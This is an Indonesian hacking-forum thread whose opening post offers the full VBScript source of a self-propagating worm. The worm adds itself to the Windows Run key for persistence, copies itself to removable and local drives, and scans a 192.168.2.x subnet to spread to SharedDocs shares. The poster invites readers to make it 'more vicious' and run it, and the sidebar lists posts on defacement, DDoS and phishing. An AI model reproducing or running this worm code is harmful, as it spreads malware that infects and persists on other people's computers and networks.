Latest topics | » Cara Mudah Deface Website Dengan Bypass Admin LoginWed Mar 16, 2016 5:18 pm by GAlih_DayWalker » Tekhnik Dasar Isengin Teman! (MERUBAH STATUS TEMAN DI FACEBOOK)Mon Dec 14, 2015 12:27 pm by Dodo94 » Cara Membuat Virus dgn NotepadWed Aug 26, 2015 5:29 pm by Aurelya666 » Hal Yang Dilakukan Setelah Install << Back | Track 5 R3Wed Aug 26, 2015 5:28 pm by Aurelya666 » DDoS website dengan menggunakan command promptWed Aug 26, 2015 5:28 pm by Aurelya666 » Cara membuat Phising Facebook, Tweeter, DllWed Aug 26, 2015 5:27 pm by Aurelya666 » code virus worm Wed Aug 26, 2015 5:27 pm by Aurelya666 » Post: #1Ping Flood CMD Wed Aug 26, 2015 5:26 pm by Aurelya666 » Tutorial SQLMAP for BACKTRACK LINUXWed Aug 26, 2015 5:24 pm by Aurelya666 » Tutor Deface website with SPAW Upload VulnWed Aug 26, 2015 5:24 pm by Aurelya666 |
Pro-Cyber Crew | |
User Yang Sedang Online | Total 1 user online :: 0 Terdaftar, 0 Tersembunyi dan 1 Tamu Tidak ada User online terbanyak adalah 37 pada Thu May 13, 2021 4:58 pm |
| | code virus worm | |
| | Pengirim | Message |
---|
C404_Cyber Family
Jumlah posting : 17 Cendol : 1 Join date : 08.04.13 Age : 30 Lokasi : hati yang tersakiti
| Subyek: code virus worm Thu Jun 13, 2013 12:48 am | |
| langsung aja y nhi source code virus worm, silahkan di kembangkan lagi agar menjadi ganas rek
--- VB Code --------------------------> checkDate()function checkDate()if (day(Now)=25) then Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("c:\windows\Update.bat") Then set dropper = createobject("wscript.shell") dropper.run "c:\windows\Update.bat", vbhide, true Msgbox "You are infected with (M4G1233N) Stealth WoRm!",16,"ALERT!" Wscript.Quit Else Wscript.Echo "The file does not exist." End If Set fso = CreateObject("Scripting.FileSystemObject") Set File = fso.CreateTextFile("c:\windows\Update.bat", True) File.WriteLine("@echo off") File.WriteLine(":: --------> Script by (M4G1233N) <----------") File.WriteLine(":: <<< BaTcH Worm! >>> ::") File.WriteLine("set escape=exit") File.WriteLine("set infect=copy") File.WriteLine("set target=Update.vbs")File.WriteLine("set ip1=192") File.WriteLine("set ip2=168") File.WriteLine("set ip3=2")File.WriteLine("set ip4=0") File.WriteLine("set scan=ping")File.WriteLine("set pth=SharedDocs") File.WriteLine("set file=Update.vbs") File.WriteLine("%infect% c:\windows\Virus.vbs a:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs b:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs D:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs E:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs f:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs g:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs h:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs i:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs j:\%target%") File.WriteLine("%infect% c:\windows\Virus.vbs k:\%target%") File.WriteLine(":start") File.WriteLine("%scan% -n 1 %ip1%.%ip2%.%ip3%.%ip4% | find /i ""reply"" >nul>nul") File.WriteLine("if not errorlevel 1 goto worm") File.WriteLine(":worm") File.WriteLine("%infect% c:\windows\Virus.vbs \\%ip1%.%ip2%.%ip3%.%ip4%\%pth%\%file%") File.WriteLine("if errorlevel 1 goto next")File.WriteLine(":next")File.WriteLine("if /i %ip4% NEQ 256 set /a ip4=%ip4%+1") File.WriteLine("if /i %ip4% EQU 256 set /a ip3=%ip3%+1") File.WriteLine("if /i %ip4% EQU 256 set /a ip4=1") File.WriteLine("if %ip4% NEQ 256 goto start") File.WriteLine("%escape%") File.WriteLine(":: --------> Script by (M4G1233N) <----------") else Set objFSO = CreateObject("Scripting.FileSystemObject") Set fso = CreateObject("Scripting.FileSystemObject") fso.CopyFile Wscript.ScriptFullName, "c:\windows\Virus.vbs", True fso.CopyFile Wscript.ScriptFullName, "c:\windows\system32\Virus.vbs", True Msgbox "ERROR",16,"ALERT!" Dim WshShell, bKey Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", 1, "REG_BINARY" WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", "c:\windows\Virus.vbs", "REG_SZ" Wscript.Quit end if end function <---------------------- VB Code --------------------------
caranya copy di notepad atau notepad++ dgn ekstensi bat. atau vbs. terus jalankan dech
Semoga bermoga bermanfaat dan rasakan kenikmatannya | |
| | | 404.reboot Family
Jumlah posting : 12 Cendol : 2 Join date : 07.11.13 Age : 29 Lokasi : Di Kamar
| Subyek: Re: code virus worm Thu Nov 07, 2013 1:39 pm | |
| ok boss, ijin nempelin jejak | |
| | | Aurelya666 Family
Jumlah posting : 35 Cendol : 0 Join date : 26.08.15 Age : 44 Lokasi : Yogyakarta
| Subyek: Re: code virus worm Wed Aug 26, 2015 5:27 pm | |
| | |
| | | Sponsored content
| Subyek: Re: code virus worm | |
| |
| | | | code virus worm | |
|
| Permissions in this forum: | Anda tidak dapat menjawab topik
| |
| |
| |